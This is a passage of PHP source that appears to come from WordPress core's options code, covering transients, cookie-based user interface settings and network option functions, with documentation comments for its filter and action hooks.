 *                           Expected to not be SQL-escaped.
 * @param int    $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
 * @return bool True if the value was set, false otherwise.
 */
function set_transient( $transient, $value, $expiration = 0 ) {

	$expiration = (int) $expiration;

	/**
	 * Filters a specific transient before its value is set.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 3.0.0
	 * @since 4.2.0 The `$expiration` parameter was added.
	 * @since 4.4.0 The `$transient` parameter was added.
	 *
	 * @param mixed  $value      New value of transient.
	 * @param int    $expiration Time until expiration in seconds.
	 * @param string $transient  Transient name.
	 */
	$value = apply_filters( "pre_set_transient_{$transient}", $value, $expiration, $transient );

	/**
	 * Filters the expiration for a transient before its value is set.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 4.4.0
	 *
	 * @param int    $expiration Time until expiration in seconds. Use 0 for no expiration.
	 * @param mixed  $value      New value of transient.
	 * @param string $transient  Transient name.
	 */
	$expiration = apply_filters( "expiration_of_transient_{$transient}", $expiration, $value, $transient );

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$result = wp_cache_set( $transient, $value, 'transient', $expiration );
	} else {
		$transient_timeout = '_transient_timeout_' . $transient;
		$transient_option  = '_transient_' . $transient;

		if ( false === get_option( $transient_option ) ) {
			$autoload = 'yes';
			if ( $expiration ) {
				$autoload = 'no';
				add_option( $transient_timeout, time() + $expiration, '', 'no' );
			}
			$result = add_option( $transient_option, $value, '', $autoload );
		} else {
			/*
			 * If expiration is requested, but the transient has no timeout option,
			 * delete, then re-create transient rather than update.
			 */
			$update = true;

			if ( $expiration ) {
				if ( false === get_option( $transient_timeout ) ) {
					delete_option( $transient_option );
					add_option( $transient_timeout, time() + $expiration, '', 'no' );
					$result = add_option( $transient_option, $value, '', 'no' );
					$update = false;
				} else {
					update_option( $transient_timeout, time() + $expiration );
				}
			}

			if ( $update ) {
				$result = update_option( $transient_option, $value );
			}
		}
	}

	if ( $result ) {

		/**
		 * Fires after the value for a specific transient has been set.
		 *
		 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
		 *
		 * @since 3.0.0
		 * @since 3.6.0 The `$value` and `$expiration` parameters were added.
		 * @since 4.4.0 The `$transient` parameter was added.
		 *
		 * @param mixed  $value      Transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 * @param string $transient  The name of the transient.
		 */
		do_action( "set_transient_{$transient}", $value, $expiration, $transient );

		/**
		 * Fires after the value for a transient has been set.
		 *
		 * @since 3.0.0
		 * @since 3.6.0 The `$value` and `$expiration` parameters were added.
		 *
		 * @param string $transient  The name of the transient.
		 * @param mixed  $value      Transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 */
		do_action( 'setted_transient', $transient, $value, $expiration );
	}

	return $result;
}

/**
 * Deletes all expired transients.
 *
 * Note that this function won't do anything if an external object cache is in use.
 *
 * The multi-table delete syntax is used to delete the transient record
 * from table a, and the corresponding transient_timeout record from table b.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @since 4.9.0
 *
 * @param bool $force_db Optional. Force cleanup to run against the database even when an external object cache is used.
 */
function delete_expired_transients( $force_db = false ) {
	global $wpdb;

	if ( ! $force_db && wp_using_ext_object_cache() ) {
		return;
	}

	$wpdb->query(
		$wpdb->prepare(
			"DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b
			WHERE a.option_name LIKE %s
			AND a.option_name NOT LIKE %s
			AND b.option_name = CONCAT( '_transient_timeout_', SUBSTRING( a.option_name, 12 ) )
			AND b.option_value < %d",
			$wpdb->esc_like( '_transient_' ) . '%',
			$wpdb->esc_like( '_transient_timeout_' ) . '%',
			time()
		)
	);

	if ( ! is_multisite() ) {
		// Single site stores site transients in the options table.
		$wpdb->query(
			$wpdb->prepare(
				"DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b
				WHERE a.option_name LIKE %s
				AND a.option_name NOT LIKE %s
				AND b.option_name = CONCAT( '_site_transient_timeout_', SUBSTRING( a.option_name, 17 ) )
				AND b.option_value < %d",
				$wpdb->esc_like( '_site_transient_' ) . '%',
				$wpdb->esc_like( '_site_transient_timeout_' ) . '%',
				time()
			)
		);
	} elseif ( is_multisite() && is_main_site() && is_main_network() ) {
		// Multisite stores site transients in the sitemeta table.
		$wpdb->query(
			$wpdb->prepare(
				"DELETE a, b FROM {$wpdb->sitemeta} a, {$wpdb->sitemeta} b
				WHERE a.meta_key LIKE %s
				AND a.meta_key NOT LIKE %s
				AND b.meta_key = CONCAT( '_site_transient_timeout_', SUBSTRING( a.meta_key, 17 ) )
				AND b.meta_value < %d",
				$wpdb->esc_like( '_site_transient_' ) . '%',
				$wpdb->esc_like( '_site_transient_timeout_' ) . '%',
				time()
			)
		);
	}
}

/**
 * Saves and restores user interface settings stored in a cookie.
 *
 * Checks if the current user-settings cookie is updated and stores it. When no
 * cookie exists (different browser used), adds the last saved cookie restoring
 * the settings.
 *
 * @since 2.7.0
 */
function wp_user_settings() {

	if ( ! is_admin() || wp_doing_ajax() ) {
		return;
	}

	$user_id = get_current_user_id();
	if ( ! $user_id ) {
		return;
	}

	if ( ! is_user_member_of_blog() ) {
		return;
	}

	$settings = (string) get_user_option( 'user-settings', $user_id );

	if ( isset( $_COOKIE[ 'wp-settings-' . $user_id ] ) ) {
		$cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE[ 'wp-settings-' . $user_id ] );

		// No change or both empty.
		if ( $cookie === $settings ) {
			return;
		}

		$last_saved = (int) get_user_option( 'user-settings-time', $user_id );
		$current    = isset( $_COOKIE[ 'wp-settings-time-' . $user_id ] ) ? preg_replace( '/[^0-9]/', '', $_COOKIE[ 'wp-settings-time-' . $user_id ] ) : 0;

		// The cookie is newer than the saved value. Update the user_option and leave the cookie as-is.
		if ( $current > $last_saved ) {
			update_user_option( $user_id, 'user-settings', $cookie, false );
			update_user_option( $user_id, 'user-settings-time', time() - 5, false );
			return;
		}
	}

	// The cookie is not set in the current browser or the saved value is newer.
	$secure = ( 'https' === parse_url( admin_url(), PHP_URL_SCHEME ) );
	setcookie( 'wp-settings-' . $user_id, $settings, time() + YEAR_IN_SECONDS, SITECOOKIEPATH, '', $secure );
	setcookie( 'wp-settings-time-' . $user_id, time(), time() + YEAR_IN_SECONDS, SITECOOKIEPATH, '', $secure );
	$_COOKIE[ 'wp-settings-' . $user_id ] = $settings;
}

/**
 * Retrieves user interface setting value based on setting name.
 *
 * @since 2.7.0
 *
 * @param string       $name          The name of the setting.
 * @param string|false $default_value Optional. Default value to return when $name is not set. Default false.
 * @return mixed The last saved user setting or the default value/false if it doesn't exist.
 */
function get_user_setting( $name, $default_value = false ) {
	$all_user_settings = get_all_user_settings();

	return isset( $all_user_settings[ $name ] ) ? $all_user_settings[ $name ] : $default_value;
}

/**
 * Adds or updates user interface setting.
 *
 * Both `$name` and `$value` can contain only ASCII letters, numbers, hyphens, and underscores.
 *
 * This function has to be used before any output has started as it calls `setcookie()`.
 *
 * @since 2.8.0
 *
 * @param string $name  The name of the setting.
 * @param string $value The value for the setting.
 * @return bool|null True if set successfully, false otherwise.
 *                   Null if the current user is not a member of the site.
 */
function set_user_setting( $name, $value ) {
	if ( headers_sent() ) {
		return false;
	}

	$all_user_settings          = get_all_user_settings();
	$all_user_settings[ $name ] = $value;

	return wp_set_all_user_settings( $all_user_settings );
}

/**
 * Deletes user interface settings.
 *
 * Deleting settings would reset them to the defaults.
 *
 * This function has to be used before any output has started as it calls `setcookie()`.
 *
 * @since 2.7.0
 *
 * @param string $names The name or array of names of the setting to be deleted.
 * @return bool|null True if deleted successfully, false otherwise.
 *                   Null if the current user is not a member of the site.
 */
function delete_user_setting( $names ) {
	if ( headers_sent() ) {
		return false;
	}

	$all_user_settings = get_all_user_settings();
	$names             = (array) $names;
	$deleted           = false;

	foreach ( $names as $name ) {
		if ( isset( $all_user_settings[ $name ] ) ) {
			unset( $all_user_settings[ $name ] );
			$deleted = true;
		}
	}

	if ( $deleted ) {
		return wp_set_all_user_settings( $all_user_settings );
	}

	return false;
}

/**
 * Retrieves all user interface settings.
 *
 * @since 2.7.0
 *
 * @global array $_updated_user_settings
 *
 * @return array The last saved user settings or empty array.
 */
function get_all_user_settings() {
	global $_updated_user_settings;

	$user_id = get_current_user_id();
	if ( ! $user_id ) {
		return array();
	}

	if ( isset( $_updated_user_settings ) && is_array( $_updated_user_settings ) ) {
		return $_updated_user_settings;
	}

	$user_settings = array();

	if ( isset( $_COOKIE[ 'wp-settings-' . $user_id ] ) ) {
		$cookie = preg_replace( '/[^A-Za-z0-9=&_-]/', '', $_COOKIE[ 'wp-settings-' . $user_id ] );

		if ( strpos( $cookie, '=' ) ) { // '=' cannot be 1st char.
			parse_str( $cookie, $user_settings );
		}
	} else {
		$option = get_user_option( 'user-settings', $user_id );

		if ( $option && is_string( $option ) ) {
			parse_str( $option, $user_settings );
		}
	}

	$_updated_user_settings = $user_settings;
	return $user_settings;
}

/**
 * Private. Sets all user interface settings.
 *
 * @since 2.8.0
 * @access private
 *
 * @global array $_updated_user_settings
 *
 * @param array $user_settings User settings.
 * @return bool|null True if set successfully, false if the current user could not be found.
 *                   Null if the current user is not a member of the site.
 */
function wp_set_all_user_settings( $user_settings ) {
	global $_updated_user_settings;

	$user_id = get_current_user_id();
	if ( ! $user_id ) {
		return false;
	}

	if ( ! is_user_member_of_blog() ) {
		return;
	}

	$settings = '';
	foreach ( $user_settings as $name => $value ) {
		$_name  = preg_replace( '/[^A-Za-z0-9_-]+/', '', $name );
		$_value = preg_replace( '/[^A-Za-z0-9_-]+/', '', $value );

		if ( ! empty( $_name ) ) {
			$settings .= $_name . '=' . $_value . '&';
		}
	}

	$settings = rtrim( $settings, '&' );
	parse_str( $settings, $_updated_user_settings );

	update_user_option( $user_id, 'user-settings', $settings, false );
	update_user_option( $user_id, 'user-settings-time', time(), false );

	return true;
}

/**
 * Deletes the user settings of the current user.
 *
 * @since 2.7.0
 */
function delete_all_user_settings() {
	$user_id = get_current_user_id();
	if ( ! $user_id ) {
		return;
	}

	update_user_option( $user_id, 'user-settings', '', false );
	setcookie( 'wp-settings-' . $user_id, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH );
}

/**
 * Retrieve an option value for the current network based on name of option.
 *
 * @since 2.8.0
 * @since 4.4.0 The `$use_cache` parameter was deprecated.
 * @since 4.4.0 Modified into wrapper for get_network_option()
 *
 * @see get_network_option()
 *
 * @param string $option        Name of the option to retrieve. Expected to not be SQL-escaped.
 * @param mixed  $default_value Optional. Value to return if the option doesn't exist. Default false.
 * @param bool   $deprecated    Whether to use cache. Multisite only. Always set to true.
 * @return mixed Value set for the option.
 */
function get_site_option( $option, $default_value = false, $deprecated = true ) {
	return get_network_option( null, $option, $default_value );
}

/**
 * Adds a new option for the current network.
 *
 * Existing options will not be updated. Note that prior to 3.3 this wasn't the case.
 *
 * @since 2.8.0
 * @since 4.4.0 Modified into wrapper for add_network_option()
 *
 * @see add_network_option()
 *
 * @param string $option Name of the option to add. Expected to not be SQL-escaped.
 * @param mixed  $value  Option value, can be anything. Expected to not be SQL-escaped.
 * @return bool True if the option was added, false otherwise.
 */
function add_site_option( $option, $value ) {
	return add_network_option( null, $option, $value );
}

/**
 * Removes an option by name for the current network.
 *
 * @since 2.8.0
 * @since 4.4.0 Modified into wrapper for delete_network_option()
 *
 * @see delete_network_option()
 *
 * @param string $option Name of the option to delete. Expected to not be SQL-escaped.
 * @return bool True if the option was deleted, false otherwise.
 */
function delete_site_option( $option ) {
	return delete_network_option( null, $option );
}

/**
 * Updates the value of an option that was already added for the current network.
 *
 * @since 2.8.0
 * @since 4.4.0 Modified into wrapper for update_network_option()
 *
 * @see update_network_option()
 *
 * @param string $option Name of the option. Expected to not be SQL-escaped.
 * @param mixed  $value  Option value. Expected to not be SQL-escaped.
 * @return bool True if the value was updated, false otherwise.
 */
function update_site_option( $option, $value ) {
	return update_network_option( null, $option, $value );
}

/**
 * Retrieves a network's option value based on the option name.
 *
 * @since 4.4.0
 *
 * @see get_option()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $network_id    ID of the network. Can be null to default to the current network ID.
 * @param string $option        Name of the option to retrieve. Expected to not be SQL-escaped.
 * @param mixed  $default_value Optional. Value to return if the option doesn't exist. Default false.
 * @return mixed Value set for the option.
 */
function get_network_option( $network_id, $option, $default_value = false ) {
	global $wpdb;

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return false;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	/**
	 * Filters the value of an existing network option before it is retrieved.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * Returning a value other than false from the filter will short-circuit retrieval
	 * and return that value instead.
	 *
	 * @since 2.9.0 As 'pre_site_option_' . $key
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 * @since 4.9.0 The `$default_value` parameter was added.
	 *
	 * @param mixed  $pre_option    The value to return instead of the option value. This differs from
	 *                              `$default_value`, which is used as the fallback value in the event
	 *                              the option doesn't exist elsewhere in get_network_option().
	 *                              Default false (to skip past the short-circuit).
	 * @param string $option        Option name.
	 * @param int    $network_id    ID of the network.
	 * @param mixed  $default_value The fallback value to return if the option does not exist.
	 *                              Default false.
	 */
	$pre = apply_filters( "pre_site_option_{$option}", false, $option, $network_id, $default_value );

	if ( false !== $pre ) {
		return $pre;
	}

	// Prevent non-existent options from triggering multiple queries.
	$notoptions_key = "$network_id:notoptions";
	$notoptions     = wp_cache_get( $notoptions_key, 'site-options' );

	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {

		/**
		 * Filters the value of a specific default network option.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 3.4.0
		 * @since 4.4.0 The `$option` parameter was added.
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param mixed  $default_value The value to return if the site option does not exist
		 *                              in the database.
		 * @param string $option        Option name.
		 * @param int    $network_id    ID of the network.
		 */
		return apply_filters( "default_site_option_{$option}", $default_value, $option, $network_id );
	}

	if ( ! is_multisite() ) {
		/** This filter is documented in wp-includes/option.php */
		$default_value = apply_filters( 'default_site_option_' . $option, $default_value, $option, $network_id );
		$value         = get_option( $option, $default_value );
	} else {
		$cache_key = "$network_id:$option";
		$value     = wp_cache_get( $cache_key, 'site-options' );

		if ( ! isset( $value ) || false === $value ) {
			$row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_value FROM $wpdb->sitemeta WHERE meta_key = %s AND site_id = %d", $option, $network_id ) );

			// Has to be get_row() instead of get_var() because of funkiness with 0, false, null values.
			if ( is_object( $row ) ) {
				$value = $row->meta_value;
				$value = maybe_unserialize( $value );
				wp_cache_set( $cache_key, $value, 'site-options' );
			} else {
				if ( ! is_array( $notoptions ) ) {
					$notoptions = array();
				}

				$notoptions[ $option ] = true;
				wp_cache_set( $notoptions_key, $notoptions, 'site-options' );

				/** This filter is documented in wp-includes/option.php */
				$value = apply_filters( 'default_site_option_' . $option, $default_value, $option, $network_id );
			}
		}
	}

	if ( ! is_array( $notoptions ) ) {
		$notoptions = array();
		wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
	}

	/**
	 * Filters the value of an existing network option.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.9.0 As 'site_option_' . $key
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 *
	 * @param mixed  $value      Value of network option.
	 * @param string $option     Option name.
	 * @param int    $network_id ID of the network.
	 */
	return apply_filters( "site_option_{$option}", $value, $option, $network_id );
}

/**
 * Adds a new network option.
 *
 * Existing options will not be updated.
 *
 * @since 4.4.0
 *
 * @see add_option()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $network_id ID of the network. Can be null to default to the current network ID.
 * @param string $option     Name of the option to add. Expected to not be SQL-escaped.
 * @param mixed  $value      Option value, can be anything. Expected to not be SQL-escaped.
 * @return bool True if the option was added, false otherwise.
 */
function add_network_option( $network_id, $option, $value ) {
	global $wpdb;

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return false;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	wp_protect_special_option( $option );

	/**
	 * Filters the value of a specific network option before it is added.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.9.0 As 'pre_add_site_option_' . $key
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 *
	 * @param mixed  $value      Value of network option.
	 * @param string $option     Option name.
	 * @param int    $network_id ID of the network.
	 */
	$value = apply_filters( "pre_add_site_option_{$option}", $value, $option, $network_id );

	$notoptions_key = "$network_id:notoptions";

	if ( ! is_multisite() ) {
		$result = add_option( $option, $value, '', 'no' );
	} else {
		$cache_key = "$network_id:$option";

		/*
		 * Make sure the option doesn't already exist.
		 * We can check the 'notoptions' cache before we ask for a DB query.
		 */
		$notoptions = wp_cache_get( $notoptions_key, 'site-options' );

		if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) {
			if ( false !== get_network_option( $network_id, $option, false ) ) {
				return false;
			}
		}

		$value = sanitize_option( $option, $value );

		$serialized_value = maybe_serialize( $value );
		$result           = $wpdb->insert(
			$wpdb->sitemeta,
			array(
				'site_id'    => $network_id,
				'meta_key'   => $option,
				'meta_value' => $serialized_value,
			)
		);

		if ( ! $result ) {
			return false;
		}

		wp_cache_set( $cache_key, $value, 'site-options' );

		// This option exists now.
		$notoptions = wp_cache_get( $notoptions_key, 'site-options' ); // Yes, again... we need it to be fresh.

		if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
			unset( $notoptions[ $option ] );
			wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
		}
	}

	if ( $result ) {

		/**
		 * Fires after a specific network option has been successfully added.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 2.9.0 As "add_site_option_{$key}"
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param mixed  $value      Value of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( "add_site_option_{$option}", $option, $value, $network_id );

		/**
		 * Fires after a network option has been successfully added.
		 *
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param mixed  $value      Value of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( 'add_site_option', $option, $value, $network_id );

		return true;
	}

	return false;
}

/**
 * Removes a network option by name.
 *
 * @since 4.4.0
 *
 * @see delete_option()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $network_id ID of the network. Can be null to default to the current network ID.
 * @param string $option     Name of the option to delete. Expected to not be SQL-escaped.
 * @return bool True if the option was deleted, false otherwise.
 */
function delete_network_option( $network_id, $option ) {
	global $wpdb;

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return false;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	/**
	 * Fires immediately before a specific network option is deleted.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 *
	 * @param string $option     Option name.
	 * @param int    $network_id ID of the network.
	 */
	do_action( "pre_delete_site_option_{$option}", $option, $network_id );

	if ( ! is_multisite() ) {
		$result = delete_option( $option );
	} else {
		$row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM {$wpdb->sitemeta} WHERE meta_key = %s AND site_id = %d", $option, $network_id ) );
		if ( is_null( $row ) || ! $row->meta_id ) {
			return false;
		}
		$cache_key = "$network_id:$option";
		wp_cache_delete( $cache_key, 'site-options' );

		$result = $wpdb->delete(
			$wpdb->sitemeta,
			array(
				'meta_key' => $option,
				'site_id'  => $network_id,
			)
		);
	}

	if ( $result ) {

		/**
		 * Fires after a specific network option has been deleted.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 2.9.0 As "delete_site_option_{$key}"
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( "delete_site_option_{$option}", $option, $network_id );

		/**
		 * Fires after a network option has been deleted.
		 *
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( 'delete_site_option', $option, $network_id );

		return true;
	}

	return false;
}

/**
 * Updates the value of a network option that was already added.
 *
 * @since 4.4.0
 *
 * @see update_option()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $network_id ID of the network. Can be null to default to the current network ID.
 * @param string $option     Name of the option. Expected to not be SQL-escaped.
 * @param mixed  $value      Option value. Expected to not be SQL-escaped.
 * @return bool True if the value was updated, false otherwise.
 */
function update_network_option( $network_id, $option, $value ) {
	global $wpdb;

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return false;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	wp_protect_special_option( $option );

	$old_value = get_network_option( $network_id, $option );

	/**
	 * Filters a specific network option before its value is updated.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.9.0 As 'pre_update_site_option_' . $key
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 *
	 * @param mixed  $value      New value of the network option.
	 * @param mixed  $old_value  Old value of the network option.
	 * @param string $option     Option name.
	 * @param int    $network_id ID of the network.
	 */
	$value = apply_filters( "pre_update_site_option_{$option}", $value, $old_value, $option, $network_id );

	/*
	 * If the new and old values are the same, no need to update.
	 *
	 * Unserialized values will be adequate in most cases. If the unserialized
	 * data differs, the (maybe) serialized data is checked to avoid
	 * unnecessary database calls for otherwise identical object instances.
	 *
	 * See https://core.trac.wordpress.org/ticket/44956
	 */
	if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) {
		return false;
	}

	if ( false === $old_value ) {
		return add_network_option( $network_id, $option, $value );
	}

	$notoptions_key = "$network_id:notoptions";
	$notoptions     = wp_cache_get( $notoptions_key, 'site-options' );

	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
		unset( $notoptions[ $option ] );
		wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
	}

	if ( ! is_multisite() ) {
		$result = update_option( $option, $value, 'no' );
	} else {
		$value = sanitize_option( $option, $value );

		$serialized_value = maybe_serialize( $value );
		$result           = $wpdb->update(
			$wpdb->sitemeta,
			array( 'meta_value' => $serialized_value ),
			array(
				'site_id'  => $network_id,
				'meta_key' => $option,
			)
		);

		if ( $result ) {
			$cache_key = "$network_id:$option";
			wp_cache_set( $cache_key, $value, 'site-options' );
		}
	}

	if ( $result ) {

		/**
		 * Fires after the value of a specific network option has been successfully updated.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 2.9.0 As "update_site_option_{$key}"
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param mixed  $value      Current value of the network option.
		 * @param mixed  $old_value  Old value of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( "update_site_option_{$option}", $option, $value, $old_value, $network_id );

		/**
		 * Fires after the value of a network option has been successfully updated.
		 *
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param mixed  $value      Current value of the network option.
		 * @param mixed  $old_value  Old value of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( 'update_site_option', $option, $value, $old_value, $network_id );

		return true;
	}

	return false;
}

/**
 * Deletes a site transient.
 *
 * @since 2.9.0
 *
 * @param string $transient Transient name. Expected to not be SQL-escaped.
 * @return bool True if the transient was deleted, false otherwise.
 */
function delete_site_transient( $transient ) {

	/**
	 * Fires immediately before a specific site transient is deleted.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 3.0.0
	 *
	 * @param string $transient Transient name.
	 */
	do_action( "delete_site_transient_{$transient}", $transient );

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$result = wp_cache_delete( $transient, 'site-transient' );
	} else {
		$option_timeout = '_site_transient_timeout_' . $transient;
		$option         = '_site_transient_' . $transient;
		$result         = delete_site_option( $option );

		if ( $result ) {
			delete_site_option( $option_timeout );
		}
	}

	if ( $result ) {

		/**
		 * Fires after a transient is deleted.
		 *
		 * @since 3.0.0
		 *
		 * @param string $transient Deleted transient name.
		 */
		do_action( 'deleted_site_transient', $transient );
	}

	return $result;
}

/**
 * Retrieves the value of a site transient.
 *
 * If the transient does not exist, does not have a value, or has expired,
 * then the return value will be false.
 *
 * @since 2.9.0
 *
 * @see get_transient()
 *
 * @param string $transient Transient name. Expected to not be SQL-escaped.
 * @return mixed Value of transient.
 */
function get_site_transient( $transient ) {

	/**
	 * Filters the value of an existing site transient before it is retrieved.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * Returning a value other than boolean false will short-circuit retrieval and
	 * return that value instead.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 The `$transient` parameter was added.
	 *
	 * @param mixed  $pre_site_transient The default value to return if the site transient does not exist.
	 *                                   Any value other than false will short-circuit the retrieval
	 *                                   of the transient, and return that value.
	 * @param string $transient          Transient name.
	 */
	$pre = apply_filters( "pre_site_transient_{$transient}", false, $transient );

	if ( false !== $pre ) {
		return $pre;
	}

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$value = wp_cache_get( $transient, 'site-transient' );
	} else {
		// Core transients that do not have a timeout. Listed here so querying timeouts can be avoided.
		$no_timeout       = array( 'update_core', 'update_plugins', 'update_themes' );
		$transient_option = '_site_transient_' . $transient;
		if ( ! in_array( $transient, $no_timeout, true ) ) {
			$transient_timeout = '_site_transient_timeout_' . $transient;
			$timeout           = get_site_option( $transient_timeout );
			if ( false !== $timeout && $timeout < time() ) {
				delete_site_option( $transient_option );
				delete_site_option( $transient_timeout );
				$value = false;
			}
		}

		if ( ! isset( $value ) ) {
			$value = get_site_option( $transient_option );
		}
	}

	/**
	 * Filters the value of an existing site transient.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 The `$transient` parameter was added.
	 *
	 * @param mixed  $value     Value of site transient.
	 * @param string $transient Transient name.
	 */
	return apply_filters( "site_transient_{$transient}", $value, $transient );
}

/**
 * Sets/updates the value of a site transient.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is set.
 *
 * @since 2.9.0
 *
 * @see set_transient()
 *
 * @param string $transient  Transient name. Expected to not be SQL-escaped. Must be
 *                           167 characters or fewer in length.
 * @param mixed  $value      Transient value. Expected to not be SQL-escaped.
 * @param int    $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
 * @return bool True if the value was set, false otherwise.
 */
function set_site_transient( $transient, $value, $expiration = 0 ) {

	/**
	 * Filters the value of a specific site transient before it is set.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 The `$transient` parameter was added.
	 *
	 * @param mixed  $value     New value of site transient.
	 * @param string $transient Transient name.
	 */
	$value = apply_filters( "pre_set_site_transient_{$transient}", $value, $transient );

	$expiration = (int) $expiration;

	/**
	 * Filters the expiration for a site transient before its value is set.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 4.4.0
	 *
	 * @param int    $expiration Time until expiration in seconds. Use 0 for no expiration.
	 * @param mixed  $value      New value of site transient.
	 * @param string $transient  Transient name.
	 */
	$expiration = apply_filters( "expiration_of_site_transient_{$transient}", $expiration, $value, $transient );

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$result = wp_cache_set( $transient, $value, 'site-transient', $expiration );
	} else {
		$transient_timeout = '_site_transient_timeout_' . $transient;
		$option            = '_site_transient_' . $transient;

		if ( false === get_site_option( $option ) ) {
			if ( $expiration ) {
				add_site_option( $transient_timeout, time() + $expiration );
			}
			$result = add_site_option( $option, $value );
		} else {
			if ( $expiration ) {
				update_site_option( $transient_timeout, time() + $expiration );
			}
			$result = update_site_option( $option, $value );
		}
	}

	if ( $result ) {

		/**
		 * Fires after the value for a specific site transient has been set.
		 *
		 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
		 *
		 * @since 3.0.0
		 * @since 4.4.0 The `$transient` parameter was added
		 *
		 * @param mixed  $value      Site transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 * @param string $transient  Transient name.
		 */
		do_action( "set_site_transient_{$transient}", $value, $expiration, $transient );

		/**
		 * Fires after the value for a site transient has been set.
		 *
		 * @since 3.0.0
		 *
		 * @param string $transient  The name of the site transient.
		 * @param mixed  $value      Site transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 */
		do_action( 'setted_site_transient', $transient, $value, $expiration );
	}

	return $result;
